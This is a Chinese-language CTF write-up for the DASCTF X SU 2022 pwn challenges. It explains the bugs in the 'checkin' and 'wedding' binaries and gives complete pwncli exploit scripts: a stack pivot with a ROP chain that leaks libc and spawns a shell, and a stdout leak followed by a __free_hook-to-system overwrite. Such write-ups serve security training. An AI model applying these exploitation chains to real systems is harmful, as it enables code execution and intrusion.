其他分享
首页 > 其他分享> > 2022DASCTFXSU三月春季挑战赛-pwn-wp

2022DASCTFXSU三月春季挑战赛-pwn-wp

作者:互联网

目录

2022DASCTFXSU三月春季挑战赛-pwn-wp

今天终于有空来写下wp。最后一题的CVE-2022-0185在学习中,未完待续。

checkin

这题最开始想用one gadget去做,后来发现libc-2.31one gadget都比较严格,于是换成puts泄露再读取输入执行system("/bin/sh")

checksec

image-20220328234420617

漏洞点

栈溢出,可溢出0x10字节,覆盖掉rbpret

image-20220328234728394

利用思路

观察0x4011BF处的汇编可知,rax等于rbp-0xb0,然后在0x4011CB处将rax赋值给了rsi,因此,只要控制了rbp,相当于可以在任意地址处写入0xb0个字节。

至少两种思路,主要后面不一样。

思路一:

思路二:

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

if gift.remote:
    libc = ELF('./libc.so.6')
    gift['libc'] = libc

pop_rdi_ret = CurrentGadgets.pop_rdi_ret()
pop_rsi_r15_ret = CurrentGadgets.pop_rsi_r15_ret()
leave_ret = CurrentGadgets.leave_ret()
magic = CurrentGadgets.magic_gadget()
pop_rbp_ret = CurrentGadgets.pop_rbp_ret()
ret = CurrentGadgets.ret()
read_again = 0x4011bf
bss_addr = 0x404080 + 0xa00


def exp_magic():
    pop_rbx_rbp_r12131415 = 0x40124a

    # 栈迁移到bss段
    payload = flat({
        0xa0: [
            bss_addr+0xa0,
            read_again
        ]
    })

    s(payload)

    libc_puts = libc.sym.puts
    libc_setvbuf = libc.sym.setvbuf

    offset = (libc_puts - libc_setvbuf) if libc_puts > libc_setvbuf else (0x100000000 + libc_puts - libc_setvbuf)

    # 修改setvbuf为puts
    payload = flat(
        {
            0: [
                pop_rbx_rbp_r12131415,
                offset,
                elf.got.setvbuf+0x3d,
                0, 0, 0, 0,
                magic,
                ret,
                pop_rdi_ret,
                elf.got.read,
                elf.plt.setvbuf,
                pop_rbp_ret,
                bss_addr+0xa0,
                read_again
            ],
            0xa0: [
                bss_addr - 8,
                leave_ret
            ]
        }
    )
    s(payload)

    read_addr = u64_ex(rl()[:-1])
    libc_base = read_addr - libc.sym.read
    log_libc_base_addr(libc_base)
    libc.address = libc_base

    # 读取输入,执行system('/bin/sh')
    payload = flat({
        0:[
            pop_rdi_ret,
            libc.search(b"/bin/sh").__next__(),
            libc.sym.system
        ],
        0x70: leave_ret,
        0xa0: [
            bss_addr - 8,
            leave_ret
        ]
    })
    s(payload)
    sleep(1)
    sl("cat /flag")
    m = rls("flag")
    if b"flag" in m:
        log_ex(f"Get flag: {m}")
    ia()

def exp_partial_write():
    bss_addr = elf.got.setvbuf
    # 栈迁移
    layout = {
        0xa0: [
            bss_addr+0xa0,
            read_again
        ]
    }
    s(flat(layout))

    # rop1
    layout = {
        0xa0: [
            bss_addr,
            leave_ret
        ],
        0: [
            bss_addr+0x68,
            pop_rsi_r15_ret,
            elf.got.read-8,
            0,
            elf.plt.read,
            0x40124a,  # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
            0, # rbx
            2, # rbp
            bss_addr & ~0xfff,
            0x1000,
            7,
            elf.got.read,
            0x401230, # csu up
            ShellcodeMall.amd64.execve_bin_sh
        ]
    }
    s(flat(layout))
    s(b"a"*8 + p16(0x8000))
    sleep(1)
    sl("cat /flag")
    m = rls("flag")
    if b"flag" in m:
        log_ex(f"Get flag: {m}")
    ia()

if __name__ == "__main__":
    # for i in $(seq 1 20); do ./exp.py de ./checkin -nl ; done
    # try:
    #     exp_partial_write()
    # except:
    #     pass

    exp_magic()

打远程:

image-20220329010500135

爆破:

image-20220329010701970

wedding

这题刚开始被libc给坑了,最开始本地使用的是2.31-0ubuntu9.2_amd64调试的,这个版本的file_jump_table是可写的;但是远程给的是2.31-0ubuntu9.7_amd64,这个版本的file_jump_table都是不可写的。因为我最初使用的思路是改写stdout->flags/bin/sh,修改_IO_file_jumps->_IO_file_xsputnsystem去拿shell,所以那天上午爆破了好久都失败了......所以以后,还是老老实实用给的libc去调试吧。调试的时候建议关闭aslr

checksec

image-20220329011230099

漏洞点

  1. prepare中没有校验offset

    image-20220329011413395

  2. revise中没有校验index:

    image-20220329011500216

建议把这个标识变量改一下,要不然wish/wlsh/w1sh容易看花眼。。。

利用思路

题目给的条件为:

当然,上面说的任意也不是完全任意,受限于my_read只读取8个字节,所以实际能控制的偏移(数字)为:-999999999999999

我们知道,在申请内存足够大,大概大于128K的时候,会调用mmap映射虚拟内存页,此时映射的虚拟内存页会位于libc.so映射空间的上方。此时的偏移可控,也就是可以修改libc.so上的任意的数据,修改的内容为2字节,固定。

由于没有地址,朴素的想法就是先泄露地址,因此,打_IO_2_1_stdout_结构体去泄露地址。有地址后就好办了,思路为:

EXP

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick

from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

def prepare(size:int, offset:int=None):
    if size > 0x7fffffff:
        size -= (0x1 << 32)
    if offset and offset > 0x7fffffff:
        offset -= (0x1 << 32) 
    sla("your choice >> \n", "1")
    sa("how much do you prepare>> \n", str(size).ljust(8, "\x00"))
    if offset is not None:
        sa(">> \n", str(offset).ljust(8, "\x00"))


def revise(idx, data):
    sla("your choice >> \n", "2")
    sla("which packet you want to revise>> \n", str(idx))
    sa("now write your wish>> \n", data)

# 调用mmap 分配到libc上方
# 修改stdout->flags
off_first = 0x42ff0
prepare(0x40000, off_first + libc.sym['_IO_2_1_stdout_'] + 1)

# 调用mmap 分配到libc上方
# 修改stdout->write_base
prepare(0x40000, off_first + 0x83ff0 - 0x42ff0 + libc.sym['_IO_2_1_stdout_'] + 0x20)

# 根据标志寻找到地址
io.recvuntil(p64(0xfffffffffffffff8), timeout=10)
m1 = io.recvn(0x10)

code_addr = u64_ex(m1[:8])
libc_addr = u64_ex(m1[8:0x10])
code_base = code_addr - 0x4040
libc_base = libc_addr - 0x1f1530
log_libc_base_addr(libc_base)
log_code_base_addr(code_base)

if (libc_base >> 40) != 0x7f or ((code_base >> 40) != 0x55 and (code_base >> 40) != 0x56):
    errlog_exit("Wrong addr")

libc.address = libc_base
# check
revise(-80, p64(code_base+0x4050+1))
revise(0x3ec, p16(0xffee)+p8(0xff))

revise(-19, p8(0x55))
revise(-19, p16(0xffee)+p8(0xff))

# _IO_2_1_stderr_ 
str_jumps_off = 0x1e9560
revise(-80, p64(libc.sym['_IO_2_1_stderr_'] + 216)) # stderr->vtable

revise(0x3ec, p32_ex(libc_base + str_jumps_off - 0x28)[:3])

revise(-80, p64(libc.sym['__free_hook']))
revise(0x3ec, p64(libc.sym.system)[:3])

revise(-80, p64(libc.sym['__free_hook']+3)) #
revise(0x3ec, p64(libc.sym.system)[3:6])

revise(-80, p64(libc.sym['__free_hook']+6)) #
revise(0x3ec, p64(libc.sym.system)[6:])

revise(-80, p64(libc.sym['_IO_2_1_stderr_'] + 131)) # stderr -> 
revise(0x3ec, "sh;")

revise(-12, p8(0x80))

revise(-80, p64(code_base + 0x4020)) # stdout 

revise(0x3ec, p64(libc.sym['_IO_2_1_stderr_'])[:3])

ia()

这里使用0xfffffffffffffff8来找地址,有代码段地址和libc地址:

image-20220329014634492

本地多试几次就出来了:

image-20220329014526706

远程不知道是不是偏移不对,stdout那里一直没有泄露,不知道啥情况。所以,这个大概率是打远程失败的非预期解了。

SU_message

CVE调试学习中, #TODO

这里有出题人的出题报告:https://kagehutatsu.com/?p=551

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

标签:addr,libc,ret,2022DASCTFXSU,base,pop,wp,pwn,revise
来源: https://www.cnblogs.com/LynneHuan/p/16070118.html